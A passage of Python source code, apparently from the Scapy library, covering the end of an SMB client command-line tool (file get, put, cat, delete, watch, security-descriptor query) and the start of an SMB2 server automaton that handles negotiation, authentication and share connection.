= info.StandardInformation.EndOfFile offset = 0 # Read the file while length: lengthRead = min(self.smbsock.session.MaxReadSize, length) fd.write( self.smbsock.read_request(fileId, Length=lengthRead, Offset=offset) ) offset += lengthRead length -= lengthRead # Close the file self.smbsock.close_request(fileId) return offset def _send_file(self, fname, fd): """ Send the file bytes to a remote host """ # Get destination file fpath = self.pwd / fname self.smbsock.set_TID(self.current_tree) # Open file fileId = self.smbsock.create_request( self.normalize_path(fpath), type="file", mode="w", extra_create_options=self.extra_create_options, ) # Send the file offset = 0 while True: data = fd.read(self.smbsock.session.MaxWriteSize) if not data: # end of file break offset += self.smbsock.write_request( Data=data, FileId=fileId, Offset=offset, ) # Close the file self.smbsock.close_request(fileId) return offset def _getr(self, directory, _root, _verb=True): """ Internal recursive function to get a directory :param directory: the remote directory to get :param _root: locally, the directory to store any found files """ size = 0 if not _root.exists(): _root.mkdir() # ls the directory for x in self.ls(parent=directory): if x[0] in [".", ".."]: # Discard . and .. continue remote = directory / x[0] local = _root / x[0] try: if x[1].FILE_ATTRIBUTE_DIRECTORY: # Sub-directory size += self._getr(remote, local) else: # Sub-file size += self.get(remote, local)[1] if _verb: print(remote) except ValueError as ex: if _verb: print(conf.color_theme.red(remote), "->", str(ex)) return size @CLIUtil.addcommand(mono=True, globsupport=True) def get(self, file, _dest=None, _verb=True, *, r=False): """ Retrieve a file -r: recursively download a directory """ if self._require_share(): return if r: dirpar, dirname = self._parsepath(file) return file, self._getr( dirpar / dirname, # Remotely _root=self.localpwd / dirname, # Locally _verb=_verb, ) else: fname = pathlib.PureWindowsPath(file).name # Write the buffer if _dest is None: _dest = self.localpwd / fname with _dest.open("wb") as fd: size = self._get_file(file, fd) return fname, size @CLIUtil.addoutput(get) def get_output(self, info): """ Print the output of 'get' """ print("Retrieved '%s' of size %s" % (info[0], human_size(info[1]))) @CLIUtil.addcomplete(get) def get_complete(self, file): """ Auto-complete get """ if self._require_share(silent=True): return [] return self._fs_complete(file) @CLIUtil.addcommand(mono=True, globsupport=True) def cat(self, file): """ Print a file """ if self._require_share(): return # Write the buffer to buffer buf = io.BytesIO() self._get_file(file, buf) return buf.getvalue() @CLIUtil.addoutput(cat) def cat_output(self, result): """ Print the output of 'cat' """ print(result.decode(errors="backslashreplace")) @CLIUtil.addcomplete(cat) def cat_complete(self, file): """ Auto-complete cat """ if self._require_share(silent=True): return [] return self._fs_complete(file) @CLIUtil.addcommand(mono=True, globsupport=True) def put(self, file): """ Upload a file """ if self._require_share(): return local_file = self.localpwd / file if local_file.is_dir(): # Directory raise ValueError("put on dir not impl") else: fname = pathlib.Path(file).name with local_file.open("rb") as fd: size = self._send_file(fname, fd) self.ls_cache.clear() return fname, size @CLIUtil.addcomplete(put) def put_complete(self, folder): """ Auto-complete put """ return self._lfs_complete(folder, lambda x: not x.is_dir()) @CLIUtil.addcommand(mono=True) def rm(self, file): """ Delete a file """ if self._require_share(): return # Get pwd of the ls fpath = self.pwd / file self.smbsock.set_TID(self.current_tree) # Open file fileId = self.smbsock.create_request( self.normalize_path(fpath), type="file", mode="d", extra_create_options=self.extra_create_options, ) # Close the file self.smbsock.close_request(fileId) self.ls_cache.clear() return fpath.name @CLIUtil.addcomplete(rm) def rm_complete(self, file): """ Auto-complete rm """ if self._require_share(silent=True): return [] return self._fs_complete(file) @CLIUtil.addcommand() def backup(self): """ Turn on or off backup intent """ if "FILE_OPEN_FOR_BACKUP_INTENT" in self.extra_create_options: print("Backup Intent: Off") self.extra_create_options.remove("FILE_OPEN_FOR_BACKUP_INTENT") else: print("Backup Intent: On") self.extra_create_options.append("FILE_OPEN_FOR_BACKUP_INTENT") @CLIUtil.addcommand(mono=True) def watch(self, folder): """ Watch file changes in folder (recursively) """ if self._require_share(): return # Get pwd of the ls fpath = self.pwd / folder self.smbsock.set_TID(self.current_tree) # Open file fileId = self.smbsock.create_request( self.normalize_path(fpath), type="folder", extra_create_options=self.extra_create_options, ) print("Watching '%s'" % fpath) # Watch for changes try: while True: changes = self.smbsock.changenotify(fileId) for chg in changes: print(chg.sprintf("%.time%: %Action% %FileName%")) except KeyboardInterrupt: pass print("Cancelled.") @CLIUtil.addcommand(mono=True) def getsd(self, file): """ Get the Security Descriptor """ if self._require_share(): return fpath = self.pwd / file self.smbsock.set_TID(self.current_tree) # Open file fileId = self.smbsock.create_request( self.normalize_path(fpath), type="", mode="", extra_desired_access=["READ_CONTROL", "ACCESS_SYSTEM_SECURITY"], ) # Get the file size info = self.smbsock.query_info( FileId=fileId, InfoType="SMB2_0_INFO_SECURITY", FileInfoClass=0, AdditionalInformation=( 0x00000001 | 0x00000002 | 0x00000004 | 0x00000008 | 0x00000010 | 0x00000020 | 0x00000040 | 0x00010000 ), ) self.smbsock.close_request(fileId) return info @CLIUtil.addcomplete(getsd) def getsd_complete(self, file): """ Auto-complete getsd """ if self._require_share(silent=True): return [] return self._fs_complete(file) @CLIUtil.addoutput(getsd) def getsd_output(self, results): """ Print the output of 'getsd' """ sd = SECURITY_DESCRIPTOR(results) sd.show_print() if __name__ == "__main__": from scapy.utils import AutoArgparse AutoArgparse(smbclient) ================================================ FILE: scapy/layers/smbserver.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ SMB 2 Server Automaton This provides a [MS-SMB2] server that can: - serve files - host a DCE/RPC server This is a Scapy Automaton that is supposedly easily extendable. .. note:: You will find more complete documentation for this layer over at `SMB `_ """ import hashlib import pathlib import socket import struct import time from scapy.arch import get_if_addr from scapy.automaton import ATMT, Automaton from scapy.config import conf from scapy.consts import WINDOWS from scapy.error import log_runtime, log_interactive from scapy.volatile import RandUUID from scapy.layers.dcerpc import ( DCERPC_Transport, NDRUnion, NDRPointer, ) from scapy.layers.gssapi import ( GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSS_S_CREDENTIALS_EXPIRED, ) from scapy.layers.msrpce.rpcserver import DCERPC_Server from scapy.layers.ntlm import ( NTLMSSP, ) from scapy.layers.smb import ( SMBNegotiate_Request, SMBNegotiate_Response_Extended_Security, SMBNegotiate_Response_Security, SMBSession_Null, SMBSession_Setup_AndX_Request, SMBSession_Setup_AndX_Request_Extended_Security, SMBSession_Setup_AndX_Response, SMBSession_Setup_AndX_Response_Extended_Security, SMBTree_Connect_AndX, SMB_Header, ) from scapy.layers.windows.security import SECURITY_DESCRIPTOR from scapy.layers.smb2 import ( DFS_REFERRAL_ENTRY1, DFS_REFERRAL_V3, DirectTCP, FILE_BOTH_DIR_INFORMATION, FILE_FULL_DIR_INFORMATION, FILE_ID_BOTH_DIR_INFORMATION, FILE_NAME_INFORMATION, FileAllInformation, FileAlternateNameInformation, FileBasicInformation, FileEaInformation, FileFsAttributeInformation, FileFsSizeInformation, FileFsVolumeInformation, FileIdBothDirectoryInformation, FileInternalInformation, FileNetworkOpenInformation, FileStandardInformation, FileStreamInformation, NETWORK_INTERFACE_INFO, SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2, SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE, SMB2_CREATE_QUERY_ON_DISK_ID, SMB2_Cancel_Request, SMB2_Change_Notify_Request, SMB2_Change_Notify_Response, SMB2_Close_Request, SMB2_Close_Response, SMB2_Create_Context, SMB2_Create_Request, SMB2_Create_Response, SMB2_ENCRYPTION_CIPHERS, SMB2_Echo_Request, SMB2_Echo_Response, SMB2_Encryption_Capabilities, SMB2_Error_Response, SMB2_FILEID, SMB2_Header, SMB2_IOCTL_Network_Interface_Info, SMB2_IOCTL_RESP_GET_DFS_Referral, SMB2_IOCTL_Request, SMB2_IOCTL_Response, SMB2_IOCTL_Validate_Negotiate_Info_Response, SMB2_Negotiate_Context, SMB2_Negotiate_Protocol_Request, SMB2_Negotiate_Protocol_Response, SMB2_Preauth_Integrity_Capabilities, SMB2_Query_Directory_Request, SMB2_Query_Directory_Response, SMB2_Query_Info_Request, SMB2_Query_Info_Response, SMB2_Read_Request, SMB2_Read_Response, SMB2_SIGNING_ALGORITHMS, SMB2_Session_Logoff_Request, SMB2_Session_Logoff_Response, SMB2_Session_Setup_Request, SMB2_Session_Setup_Response, SMB2_Set_Info_Request, SMB2_Set_Info_Response, SMB2_Signing_Capabilities, SMB2_Tree_Connect_Request, SMB2_Tree_Connect_Response, SMB2_Tree_Disconnect_Request, SMB2_Tree_Disconnect_Response, SMB2_Write_Request, SMB2_Write_Response, SMBStreamSocket, SOCKADDR_STORAGE, SRVSVC_SHARE_TYPES, ) from scapy.layers.spnego import SPNEGOSSP # Import DCE/RPC from scapy.layers.msrpce.raw.ms_srvs import ( LPSERVER_INFO_101, LPSHARE_ENUM_STRUCT, LPSHARE_INFO_1, NetrServerGetInfo_Request, NetrServerGetInfo_Response, NetrShareEnum_Request, NetrShareEnum_Response, NetrShareGetInfo_Request, NetrShareGetInfo_Response, SHARE_INFO_1_CONTAINER, ) from scapy.layers.msrpce.raw.ms_wkst import ( LPWKSTA_INFO_100, NetrWkstaGetInfo_Request, NetrWkstaGetInfo_Response, ) class SMBShare: """ A class used to define a share, used by SMB_Server :param name: the share name :param path: the path the the folder hosted by the share :param type: (optional) share type per [MS-SRVS] sect 2.2.2.4 :param remark: (optional) a description of the share :param encryptdata: (optional) whether encryption should be used for this share. This only applies to SMB 3.1.1. """ def __init__(self, name, path=".", type=None, remark="", encryptdata=False): # Set the default type if type is None: type = 0 # DISKTREE if name.endswith("$"): type &= 0x80000000 # SPECIAL # Lower case the name for resolution self._name = name.lower() # Resolve path self.path = pathlib.Path(path).resolve() # props self.name = name self.type = type self.remark = remark self.encryptdata = encryptdata def __repr__(self): type = SRVSVC_SHARE_TYPES[self.type & 0x0FFFFFFF] if self.type & 0x80000000: type = "SPECIAL+" + type if self.type & 0x40000000: type = "TEMPORARY+" + type return "" % ( self.name, type, self.remark and (" '%s'" % self.remark) or "", str(self.path), ) # The SMB Automaton class SMB_Server(Automaton): """ SMB server automaton :param shares: the shares to serve. By default, share nothing. Note that IPC$ is appended. :param ssp: the SSP to use All other options (in caps) are optional, and SMB specific: :param ANONYMOUS_LOGIN: mark the clients as anonymous :param GUEST_LOGIN: mark the clients as guest :param REQUIRE_SIGNATURE: set 'Require Signature' :param REQUIRE_ENCRYPTION: globally require encryption. You could also make it share-specific on 3.1.1. :param MAX_DIALECT: maximum SMB dialect. Defaults to 0x0311 (3.1.1) :param TREE_SHARE_FLAGS: flags to announce on Tree_Connect_Response :param TREE_CAPABILITIES: capabilities to announce on Tree_Connect_Response :param TREE_MAXIMAL_ACCESS: maximal access to announce on Tree_Connect_Response :param FILE_MAXIMAL_ACCESS: maximal access to announce in MxAc Create Context """ pkt_cls = DirectTCP socketcls = SMBStreamSocket def __init__(self, shares=[], ssp=None, verb=True, readonly=True, *args, **kwargs): self.verb = verb if "sock" not in kwargs: raise ValueError( "SMB_Server cannot be started directly ! Use SMB_Server.spawn" ) # Various SMB server arguments self.ANONYMOUS_LOGIN = kwargs.pop("ANONYMOUS_LOGIN", False) self.GUEST_LOGIN = kwargs.pop("GUEST_LOGIN", None) self.EXTENDED_SECURITY = kwargs.pop("EXTENDED_SECURITY", True) self.USE_SMB1 = kwargs.pop("USE_SMB1", False) self.REQUIRE_SIGNATURE = kwargs.pop("REQUIRE_SIGNATURE", None) self.REQUIRE_ENCRYPTION = kwargs.pop("REQUIRE_ENCRYPTION", False) self.MAX_DIALECT = kwargs.pop("MAX_DIALECT", 0x0311) self.TREE_SHARE_FLAGS = kwargs.pop( "TREE_SHARE_FLAGS", "FORCE_LEVELII_OPLOCK+RESTRICT_EXCLUSIVE_OPENS" ) self.TREE_CAPABILITIES = kwargs.pop("TREE_CAPABILITIES", 0) self.TREE_MAXIMAL_ACCESS = kwargs.pop( "TREE_MAXIMAL_ACCESS", "+".join( [ "FILE_READ_DATA", "FILE_WRITE_DATA", "FILE_APPEND_DATA", "FILE_READ_EA", "FILE_WRITE_EA", "FILE_EXECUTE", "FILE_DELETE_CHILD", "FILE_READ_ATTRIBUTES", "FILE_WRITE_ATTRIBUTES", "DELETE", "READ_CONTROL", "WRITE_DAC", "WRITE_OWNER", "SYNCHRONIZE", ] ), ) self.FILE_MAXIMAL_ACCESS = kwargs.pop( # Read-only "FILE_MAXIMAL_ACCESS", "+".join( [ "FILE_READ_DATA", "FILE_READ_EA", "FILE_EXECUTE", "FILE_READ_ATTRIBUTES", "READ_CONTROL", "SYNCHRONIZE", ] ), ) self.LOCAL_IPS = kwargs.pop( "LOCAL_IPS", [get_if_addr(kwargs.get("iface", conf.iface) or conf.iface)] ) self.DOMAIN_REFERRALS = kwargs.pop("DOMAIN_REFERRALS", []) if self.USE_SMB1: log_runtime.warning("Serving SMB1 is not supported :/") self.readonly = readonly # We don't want to update the parent shares argument self.shares = shares.copy() # Append the IPC$ share self.shares.append( SMBShare( name="IPC$", type=0x80000003, # SPECIAL+IPC remark="Remote IPC", ) ) # Initialize the DCE/RPC server for SMB self.rpc_server = SMB_DCERPC_Server( DCERPC_Transport.NCACN_NP, shares=self.shares, verb=self.verb, ) # Extend it if another DCE/RPC server is provided if "DCERPC_SERVER_CLS" in kwargs: self.rpc_server.extend(kwargs.pop("DCERPC_SERVER_CLS")) # Internal Session information self.SMB2 = False self.NegotiateCapabilities = None self.GUID = RandUUID()._fix() self.NextForceSign = False self.NextForceEncrypt = False # Compounds are handled on receiving by the StreamSocket, # and on aggregated in a CompoundQueue to be sent in one go self.NextCompound = False self.CompoundedHandle = None # SSP provider if ssp is None: # No SSP => fallback on NTLM with guest ssp = SPNEGOSSP( [ NTLMSSP( USE_MIC=False, DO_NOT_CHECK_LOGIN=True, ), ] ) if self.GUEST_LOGIN is None: self.GUEST_LOGIN = True # Initialize Automaton.__init__(self, *args, **kwargs) # Set session options self.session.ssp = ssp self.session.SigningRequired = ( self.REQUIRE_SIGNATURE if self.REQUIRE_SIGNATURE is not None else bool(ssp) ) @property def session(self): # session shorthand return self.sock.session def vprint(self, s=""): """ Verbose print (if enabled) """ if self.verb: if conf.interactive: log_interactive.info("> %s", s) else: print("> %s" % s) def send(self, pkt): ForceSign, ForceEncrypt = self.NextForceSign, self.NextForceEncrypt self.NextForceSign = self.NextForceEncrypt = False return super(SMB_Server, self).send( pkt, Compounded=self.NextCompound, ForceSign=ForceSign, ForceEncrypt=ForceEncrypt, ) @ATMT.state(initial=1) def BEGIN(self): self.authenticated = False @ATMT.receive_condition(BEGIN) def received_negotiate(self, pkt): if SMBNegotiate_Request in pkt: raise self.NEGOTIATED().action_parameters(pkt) @ATMT.receive_condition(BEGIN) def received_negotiate_smb2_begin(self, pkt): if SMB2_Negotiate_Protocol_Request in pkt: self.SMB2 = True raise self.NEGOTIATED().action_parameters(pkt) @ATMT.action(received_negotiate_smb2_begin) def on_negotiate_smb2_begin(self, pkt): self.on_negotiate(pkt) @ATMT.action(received_negotiate) def on_negotiate(self, pkt): self.session.sspcontext, spnego_token = self.session.ssp.NegTokenInit2() # Build negotiate response DialectIndex = None DialectRevision = None if SMB2_Negotiate_Protocol_Request in pkt: # SMB2 DialectRevisions = pkt[SMB2_Negotiate_Protocol_Request].Dialects DialectRevisions = [x for x in DialectRevisions if x <= self.MAX_DIALECT] DialectRevisions.sort(reverse=True) if DialectRevisions: DialectRevision = DialectRevisions[0] else: # SMB1 DialectIndexes = [ x.DialectString for x in pkt[SMBNegotiate_Request].Dialects ] if self.USE_SMB1: # Enforce SMB1 DialectIndex = DialectIndexes.index(b"NT LM 0.12") else: # Find a value matching SMB2, fallback to SMB1 for key, rev in [(b"SMB 2.???", 0x02FF), (b"SMB 2.002", 0x0202)]: try: DialectIndex = DialectIndexes.index(key) DialectRevision = rev self.SMB2 = True break except ValueError: pass else: DialectIndex = DialectIndexes.index(b"NT LM 0.12") if DialectRevision and DialectRevision & 0xFF != 0xFF: # Version isn't SMB X.??? self.session.Dialect = DialectRevision cls = None if self.SMB2: # SMB2 cls = SMB2_Negotiate_Protocol_Response self.smb_header = DirectTCP() / SMB2_Header( Flags="SMB2_FLAGS_SERVER_TO_REDIR", CreditRequest=1, CreditCharge=1, ) if SMB2_Negotiate_Protocol_Request in pkt: self.update_smbheader(pkt) else: # SMB1 self.smb_header = DirectTCP() / SMB_Header( Flags="REPLY+CASE_INSENSITIVE+CANONICALIZED_PATHS", Flags2=( "LONG_NAMES+EAS+NT_STATUS+SMB_SECURITY_SIGNATURE+" "UNICODE+EXTENDED_SECURITY" ), TID=pkt.TID, MID=pkt.MID, UID=pkt.UID, PIDLow=pkt.PIDLow, ) if self.EXTENDED_SECURITY: cls = SMBNegotiate_Response_Extended_Security else: cls = SMBNegotiate_Response_Security if DialectRevision is None and DialectIndex is None: # No common dialect found. if self.SMB2: resp = self.smb_header.copy() / SMB2_Error_Response() resp.Command = "SMB2_NEGOTIATE" else: resp = self.smb_header.copy() / SMBSession_Null() resp.Command = "SMB_COM_NEGOTIATE" resp.Status = "STATUS_NOT_SUPPORTED" self.send(resp) return if self.SMB2: # SMB2 # SecurityMode if SMB2_Header in pkt and pkt.SecurityMode.SIGNING_REQUIRED: self.session.SigningRequired = True # Capabilities: [MS-SMB2] 3.3.5.4 self.NegotiateCapabilities = "+".join( [ "DFS", "LEASING", "LARGE_MTU", ] ) if DialectRevision >= 0x0300: # "if Connection.Dialect belongs to the SMB 3.x dialect family, # the server supports..." self.NegotiateCapabilities += "+" + "+".join( [ "MULTI_CHANNEL", "PERSISTENT_HANDLES", "DIRECTORY_LEASING", "ENCRYPTION", ] ) # Build response resp = self.smb_header.copy() / cls( DialectRevision=DialectRevision, SecurityMode=( "SIGNING_ENABLED+SIGNING_REQUIRED" if self.session.SigningRequired else "SIGNING_ENABLED" ), ServerTime=(time.time() + 11644473600) * 1e7, ServerStartTime=0, MaxTransactionSize=65536, MaxReadSize=65536, MaxWriteSize=65536, Capabilities=self.NegotiateCapabilities, ) # SMB >= 3.0.0 if DialectRevision >= 0x0300: # [MS-SMB2] sect 3.3.5.3.1 note 253 resp.MaxTransactionSize = 0x800000 resp.MaxReadSize = 0x800000 resp.MaxWriteSize = 0x800000 # SMB 3.1.1 if DialectRevision >= 0x0311 and pkt.NegotiateContextsCount: # Negotiate context-capabilities for ngctx in pkt.NegotiateContexts: if ngctx.ContextType == 0x0002: # SMB2_ENCRYPTION_CAPABILITIES for ciph in ngctx.Ciphers: tciph = SMB2_ENCRYPTION_CIPHERS.get(ciph, None) if tciph in self.session.SupportedCipherIds: # Common ! self.session.CipherId = tciph self.session.SupportsEncryption = True break elif ngctx.ContextType == 0x0008: # SMB2_SIGNING_CAPABILITIES for signalg in ngctx.SigningAlgorithms: tsignalg = SMB2_SIGNING_ALGORITHMS.get(signalg, None) if tsignalg in self.session.SupportedSigningAlgorithmIds: # Common ! self.session.SigningAlgorithmId = tsignalg break # Send back the negotiated algorithms resp.NegotiateContexts = [ # Preauth capabilities SMB2_Negotiate_Context() / SMB2_Preauth_Integrity_Capabilities( # SHA-512 by default HashAlgorithms=[self.session.PreauthIntegrityHashId], Salt=self.session.Salt, ), # Encryption capabilities SMB2_Negotiate_Context() / SMB2_Encryption_Capabilities( # AES-128-CCM by default Ciphers=[self.session.CipherId], ), # Signing capabilities SMB2_Negotiate_Context() / SMB2_Signing_Capabilities( # AES-128-CCM by default SigningAlgorithms=[self.session.SigningAlgorithmId], ), ] else: # SMB1 resp = self.smb_header.copy() / cls( DialectIndex=DialectIndex, ServerCapabilities=( "UNICODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+" "LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+" "LWIO+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX" ), SecurityMode=( "SIGNING_ENABLED+SIGNING_REQUIRED" if self.session.SigningRequired else "SIGNING_ENABLED" ), ServerTime=(time.time() + 11644473600) * 1e7, ServerTimeZone=0x3C, ) if self.EXTENDED_SECURITY: resp.ServerCapabilities += "EXTENDED_SECURITY" if self.EXTENDED_SECURITY or self.SMB2: # Extended SMB1 / SMB2 resp.GUID = self.GUID # Add security blob resp.SecurityBlob = spnego_token else: # Non-extended SMB1 # FIXME never tested. resp.SecurityBlob = spnego_token resp.Flags2 -= "EXTENDED_SECURITY" if not self.SMB2: resp[SMB_Header].Flags2 = ( resp[SMB_Header].Flags2 - "SMB_SECURITY_SIGNATURE" + "SMB_SECURITY_SIGNATURE_REQUIRED+IS_LONG_NAME" ) if SMB2_Header in pkt: # If required, compute sessions self.session.computeSMBConnectionPreauth( bytes(pkt[SMB2_Header]), # nego request bytes(resp[SMB2_Header]), # nego response ) self.send(resp) @ATMT.state(final=1) def NEGO_FAILED(self): self.vprint("SMB Negotiate failed: encryption was not negotiated.") self.end() @ATMT.state() def NEGOTIATED(self): pass def update_smbheader(self, pkt): """ Called when receiving a SMB2 packet to update the current smb_header """ # [MS-SMB2] sect 3.2.5.1.4 - always grant client its credits self.smb_header.CreditRequest = pkt.CreditRequest # [MS-SMB2] sect 3.3.4.1 # "the server SHOULD set the CreditCharge field in the SMB2 header # of the response to the CreditCharge value in the SMB2 header of the request." self.smb_header.CreditCharge = pkt.CreditCharge # If the packet has a NextCommand, set NextCompound to True self.NextCompound = bool(pkt.NextCommand) # [MS-SMB2] sect 3.3.4.1.1 - "If the request was signed by the client..." # If the packet was signed, note we must answer with a signed packet. if ( not self.session.SigningRequired and pkt.SecuritySignature != b"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ): self.NextForceSign = True # [MS-SMB2] sect 3.3.4.1.4 - "If the message being sent is any response to a # client request for which Request.IsEncrypted is TRUE" if pkt[SMB2_Header]._decrypted: self.NextForceEncrypt = True # [MS-SMB2] sect 3.3.5.2.7.2 # Add SMB2_FLAGS_RELATED_OPERATIONS to the response if present if pkt.Flags.SMB2_FLAGS_RELATED_OPERATIONS: self.smb_header.Flags += "SMB2_FLAGS_RELATED_OPERATIONS" else: self.smb_header.Flags -= "SMB2_FLAGS_RELATED_OPERATIONS" # [MS-SMB2] sect 2.2.1.2 - Priority if (self.session.Dialect or 0) >= 0x0311: self.smb_header.Flags &= 0xFF8F self.smb_header.Flags |= int(pkt.Flags) & 0x70 # Update IDs self.smb_header.SessionId = pkt.SessionId self.smb_header.TID = pkt.TID self.smb_header.MID = pkt.MID self.smb_header.PID = pkt.PID @ATMT.receive_condition(NEGOTIATED) def received_negotiate_smb2(self, pkt): if SMB2_Negotiate_Protocol_Request in pkt: raise self.NEGOTIATED().action_parameters(pkt) @ATMT.action(received_negotiate_smb2) def on_negotiate_smb2(self, pkt): self.on_negotiate(pkt) @ATMT.receive_condition(NEGOTIATED) def receive_setup_andx_request(self, pkt): if ( SMBSession_Setup_AndX_Request_Extended_Security in pkt or SMBSession_Setup_AndX_Request in pkt ): # SMB1 if SMBSession_Setup_AndX_Request_Extended_Security in pkt: # Extended ssp_blob = pkt.SecurityBlob else: # Non-extended ssp_blob = pkt[SMBSession_Setup_AndX_Request].UnicodePassword raise self.RECEIVED_SETUP_ANDX_REQUEST().action_parameters(pkt, ssp_blob) elif SMB2_Session_Setup_Request in pkt: # SMB2 ssp_blob = pkt.SecurityBlob raise self.RECEIVED_SETUP_ANDX_REQUEST().action_parameters(pkt, ssp_blob) @ATMT.state() def RECEIVED_SETUP_ANDX_REQUEST(self): pass @ATMT.action(receive_setup_andx_request) def on_setup_andx_request(self, pkt, ssp_blob): self.session.sspcontext, tok, status = self.session.ssp.GSS_Accept_sec_context( self.session.sspcontext, ssp_blob, ) self.update_smbheader(pkt) if SMB2_Session_Setup_Request in pkt: # SMB2 self.smb_header.SessionId = 0x0001000000000015 if status not in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]: # Error if SMB2_Session_Setup_Request in pkt: # SMB2 resp = self.smb_header.copy() / SMB2_Session_Setup_Response() # Set security blob (if any) resp.SecurityBlob = tok else: # SMB1 resp = self.smb_header.copy() / SMBSession_Null() # Map some GSS return codes to NTStatus if status == GSS_S_CREDENTIALS_EXPIRED: resp.Status = "STATUS_PASSWORD_EXPIRED" else: resp.Status = "STATUS_LOGON_FAILURE" # Reset Session preauth (SMB 3.1.1) self.session.SessionPreauthIntegrityHashValue = None else: # Negotiation if ( SMBSession_Setup_AndX_Request_Extended_Security in pkt or SMB2_Session_Setup_Request in pkt ): # SMB1 extended / SMB2 if SMB2_Session_Setup_Request in pkt: resp = self.smb_header.copy() / SMB2_Session_Setup_Response() if self.GUEST_LOGIN: # "If the security subsystem indicates that the session # was established by a guest user, Session.SigningRequired # MUST be set to FALSE and Session.IsGuest MUST be set to TRUE." resp.SessionFlags = "IS_GUEST" self.session.IsGuest = True self.session.SigningRequired = False if self.ANONYMOUS_LOGIN: resp.SessionFlags = "IS_NULL" # [MS-SMB2] sect 3.3.5.5.3 if self.session.Dialect >= 0x0300 and self.REQUIRE_ENCRYPTION: resp.SessionFlags += "ENCRYPT_DATA" else: # SMB1 extended resp = ( self.smb_header.copy() / SMBSession_Setup_AndX_Response_Extended_Security( NativeOS="Windows 4.0", NativeLanMan="Windows 4.0", ) ) if self.GUEST_LOGIN: resp.Action = "SMB_SETUP_GUEST" # Set security blob resp.SecurityBlob = tok elif SMBSession_Setup_AndX_Request in pkt: # Non-extended resp = self.smb_header.copy() / SMBSession_Setup_AndX_Response( NativeOS="Windows 4.0", NativeLanMan="Windows 4.0", ) resp.Status = 0x0 if (status == GSS_S_COMPLETE) else 0xC0000016 # We have a response. If required, compute sessions if status == GSS_S_CONTINUE_NEEDED: # the setup session response is used in hash self.session.computeSMBSessionPreauth( bytes(pkt[SMB2_Header]), # session setup request bytes(resp[SMB2_Header]), # session setup response ) else: # the setup session response is not used in hash self.session.computeSMBSessionPreauth( bytes(pkt[SMB2_Header]), # session setup request ) if status == GSS_S_COMPLETE: # Authentication was successful self.session.computeSMBSessionKeys(IsClient=False) self.authenticated = True # [MS-SMB2] Note: "Windows-based servers always sign the final session setup # response when the user is neither anonymous nor guest." # If not available, it will still be ignored. self.NextForceSign = True self.send(resp) # Check whether we must enable encryption from now on if ( self.authenticated and not self.session.IsGuest and self.session.Dialect >= 0x0300 and self.REQUIRE_ENCRYPTION ): # [MS-SMB2] sect 3.3.5.5.3: from now on, turn encryption on ! self.session.EncryptData = True self.session.SigningRequired = False @ATMT.condition(RECEIVED_SETUP_ANDX_REQUEST) def wait_for_next_request(self): if self.authenticated: self.vprint( "User authenticated %s!" % (self.GUEST_LOGIN and " as guest" or "") ) raise self.AUTHENTICATED() else: raise self.NEGOTIATED() @ATMT.state() def AUTHENTICATED(self): """Dev: overload this""" pass # DEV: add a condition on AUTHENTICATED with prio=0 @ATMT.condition(AUTHENTICATED, prio=1) def should_serve(self): # Serve files self.current_trees = {} self.current_handles = {} self.enumerate_index = {} # used for query directory enumeration self.tree_id = 0 self.base_time_t = self.current_smb_time() raise self.SERVING() def _ioctl_error(self, Status="STATUS_NOT_SUPPORTED"): pkt = self.smb_header.copy() / SMB2_Error_Response(ErrorData=b"\xff") pkt.Status = Status pkt.Command = "SMB2_IOCTL" self.send(pkt) @ATMT.state(final=1) def END(self): self.end() # SERVE FILES def current_tree(self): """ Return the current tree name """ return self.current_trees[self.smb_header.TID] def root_path(self): """ Return the root path of the current tree """ curtree = self.current_tree() try: share_path = next(x.path for x in self.shares if x._name == curtree.lower()) except StopIteration: return None return pathlib.Path(share_path).resolve() @ATMT.state() def SERVING(self): """ Main state when serving files """ pass @ATMT.receive_condition(SERVING) def receive_logoff_request(self, pkt): if SMB2_Session_Logoff_Request in pkt: raise self.NEGOTIATED().action_parameters(pkt) @ATMT.action(receive_logoff_request) def send_logoff_response(self, pkt): self.update_smbheader(pkt) self.send(self.smb_header.copy() / SMB2_Session_Logoff_Response()) @ATMT.receive_condition(SERVING) def receive_setup_andx_request_in_serving(self, pkt): self.receive_setup_andx_request(pkt) @ATMT.receive_condition(SERVING) def is_smb1_tree(self, pkt): if SMBTree_Connect_AndX in pkt: # Unsupported log_runtime.warning("Tree request in SMB1: unimplemented. Quit") raise self.END() @ATMT.receive_condition(SERVING) def receive_tree_connect(self, pkt): if SMB2_Tree_Connect_Request in pkt: tree_name = pkt[SMB2_Tree_Connect_Request].Path.split("\\")[-1] raise self.SERVING().action_parameters(pkt, tree_name) @ATMT.action(receive_tree_connect) def send_tree_connect_response(self, pkt, tree_name): self.update_smbheader(pkt) # Check the tree name against the shares we're serving try: share = next(x for x in self.shares if x._name == tree_name.lower()) except StopIteration: # Unknown tree resp = self.smb_header.copy() / SMB2_Error_Response() resp.Command = "SMB2_TREE_CONNECT" resp.Status = "STATUS_BAD_NETWORK_NAME" self.send(resp) return # Add tree to current trees if tree_name not in self.current_trees: self.tree_id += 1 self.smb_header.TID = self.tree_id self.current_trees[self.smb_header.TID] = tree_name # Construct ShareFlags ShareFlags = ( "AUTO_CACHING+NO_CACHING" if self.current_tree() == "IPC$" else self.TREE_SHARE_FLAGS ) # [MS-SMB2] sect 3.3.5.7 if ( self.session.Dialect >= 0x0311 and not self.session.EncryptData and share.encryptdata ): if not self.session.SupportsEncryption: raise Exception("Peer asked for encryption but doesn't support it !") ShareFlags += "+ENCRYPT_DATA" self.vprint("Tree Connect on: %s" % tree_name) self.send( self.smb_header.copy() / SMB2_Tree_Connect_Response( ShareType="PIPE" if self.current_tree() == "IPC$" else "DISK", ShareFlags=ShareFlags, Capabilities=( 0 if self.current_tree() == "IPC$" else self.TREE_CAPABILITIES ), MaximalAccess=self.TREE_MAXIMAL_ACCESS, ) ) @ATMT.receive_condition(SERVING) def receive_ioctl(self, pkt): if SMB2_IOCTL_Request in pkt: raise self.SERVING().action_parameters(pkt) @ATMT.action(receive_ioctl) def send_ioctl_response(self, 